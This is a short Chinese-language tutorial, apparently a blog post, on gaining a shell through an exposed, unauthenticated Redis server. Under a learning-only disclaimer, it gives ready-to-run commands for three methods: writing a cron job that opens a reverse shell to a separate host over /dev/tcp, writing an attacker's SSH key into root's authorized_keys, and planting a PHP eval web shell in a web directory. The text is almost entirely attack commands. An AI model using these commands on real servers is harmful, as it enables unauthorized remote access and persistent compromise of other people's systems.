郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

通过计划任务获取SHELL

首先进行连接

redis-cli -h 192.168.251.17 -p 6379

然后设置文件夹路径

config set dir /var/spool/cron/crontabs

如果出现(error) ERR Changing directory: Permission denied标明Redis并不是root权限启动的,权限不足,需要使用redis-server /etc/redis/redis.conf来启动程序,不能使用service redis start来启动

接着修改文件,Ubuntu的计划任务是在这个文件中

config set dbfilename root

设置计划任务,需要添加\n符号,因为写进去后会有很多无用数据

set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.251.16/8899 0>&1\n\n\n"

保存

save

通过SSH key获取SHELL

首先生成公钥

ssh-keygen -t rsa

然后把key写入文本中

(echo -e "\n\n\n\n"; cat test.pub; echo -e "\n\n\n\n") > test.txt

接着使用命令启动

cat test.txt | redis-cli -h 192.168.251.18 -p 6379 -x set crack
redis-cli -h 192.168.251.18 -p 6379
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save

通过Web目录写SHELL

需要条件

  • 知道web目录
  • 当前用户在该目录下具有写权限
config set dir /var/www/ascotbe.com/html/
config set dbfilename shell.php
set 1 "<?php @eval($_POST['123']);?>"
save